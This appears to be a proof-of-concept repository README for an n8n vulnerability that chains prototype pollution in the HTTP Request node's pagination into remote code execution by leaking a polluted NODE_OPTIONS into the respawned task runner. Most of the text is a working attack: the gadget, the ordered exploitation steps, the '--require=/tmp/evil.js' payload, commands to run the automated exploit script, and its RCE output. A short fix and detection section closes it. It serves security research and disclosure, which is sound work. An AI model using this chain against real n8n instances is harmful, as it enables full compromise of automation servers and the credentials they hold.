CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.
An authenticated n8n
< 1.123.43workflow creator pollutesObject.prototypein the n8n server process through the HTTP Request node's pagination settings, then escalates to remote code execution by abusing how n8n spawns its task runner — leaking a pollutedNODE_OPTIONSinto a childnodeprocess and bypassing the Code-node sandbox.
| CVE | CVE-2026-44789 |
| Advisory | GHSA-c8xv-5998-g76h |
| Affected | < 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1 |
| Fixed | 1.123.43 / 2.20.7 / 2.22.1 |
| Class | CWE-1321 (Prototype Pollution) → CWE-94 (RCE) |
| CVSS | 9.4 (CVSS 4.0) / Critical |
| Auth | Authenticated (workflow create/modify permission) |
| Status | CONFIRMED — full chain reproduced end-to-end against n8nio/n8n:1.123.42 |
The public advisory states only that the pollution "combined with other techniques could lead to RCE" — it does not disclose a gadget. This repo documents and automates a concrete, verified prototype-pollution→RCE chain.
packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, pagination mode
updateAParameterInEachRequest:
paginationData.request[parameter.type]![parameterName] = parameterValue;
parameter.type, parameterName and parameterValue all come from the workflow
JSON (attacker-controlled). With parameter.type = "__proto__",
paginationData.request["__proto__"] resolves to Object.prototype, so the
assignment writes Object.prototype[parameterName] = parameterValue — a global
prototype pollution in the n8n server process.
The fix uses Object.create(null) for paginationData.request, so ["__proto__"]
is an ordinary (null-proto) key instead of the prototype.
packages/cli/src/task-runners/task-runner-process-js.ts spawns the JS task runner:
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
Node's normalizeSpawnArguments builds the child environment with
for (const key in env), which enumerates inherited enumerable properties.
Polluting Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" therefore leaks
into the spawned runner's environment. The child is node, which honours
NODE_OPTIONS, so it --requires the attacker's file at startup → code execution
outside the Code-node sandbox, as the n8n service user.
The runner is launched at startup, but its lifecycle re-spawns it whenever the
process exits (onProcessExit → start()). The attacker forces a respawn after
polluting by hanging the runner with a Code node (task-timeout / OOM kills it).
exploit.py does)1. write /tmp/evil.js via Set → Convert to File → Read/Write Files nodes
2. hang the task runner via a Code node ( while(true){} ) [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
→ require('/tmp/evil.js') → RCE
Ordering matters: the pollution makes NODE_OPTIONS an enumerable own-less key on
Object.prototype, which n8n's TypeORM layer trips over (for…in over entities),
breaking workflow persistence. So the runner must already be hung before the
pollution lands; the respawn then picks up the polluted environment.
Configuration scope (read first). The prototype-pollution primitive fires on any affected version with no configuration changes. The RCE gadget needs the task runner, which is reached differently per branch:
- n8n 2.x affected (2.0.0–2.20.6, 2.21.0–2.22.0): task runners are default/mandatory (
N8N_RUNNERS_ENABLEDis deprecated →SAFE_TO_REMOVE), so the full RCE chain is default configuration.- n8n 1.123.x affected (this lab image): task runners default to off, so the lab sets
N8N_RUNNERS_ENABLED=trueto mirror the 2.x default.N8N_RUNNERS_TASK_TIMEOUTis lowered only to make the hung-runner respawn fire faster — it is not required for the bug.
docker compose -f lab/docker-compose.yml up -d # n8nio/n8n:1.123.42, runners enabled to mirror 2.x
python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"
# command output appears on the n8n host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
# RCE uid=1000(node) gid=1000(node) groups=1000(node)
# <hostname>
exploit.py uses only the Python standard library and drives the n8n REST API
end-to-end (owner setup/login → deploy workflows → fire the chain).
Observed:
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
uid=1000(node) is the runner's service account and the output is live id/uname
state — genuine execution, not input echo.
Any authenticated user who can create or modify a workflow gains OS command execution on the n8n host, escaping the Code-node sandbox — full compromise of the automation server and every credential/system it can reach.
Object.create(null), killing the __proto__ write).--disable-proto=delete / --disallow-code-generation-from-strings,
but those protect the runner, not the main process where the pollution lands.Flag workflows whose HTTP Request pagination parameters use type values of
__proto__ / constructor / prototype, and NODE_OPTIONS appearing as an entity
property error in n8n/TypeORM logs.
See ANALYSIS.md for the primitive, the Node for…in env behaviour,
the runner lifecycle, and the patch.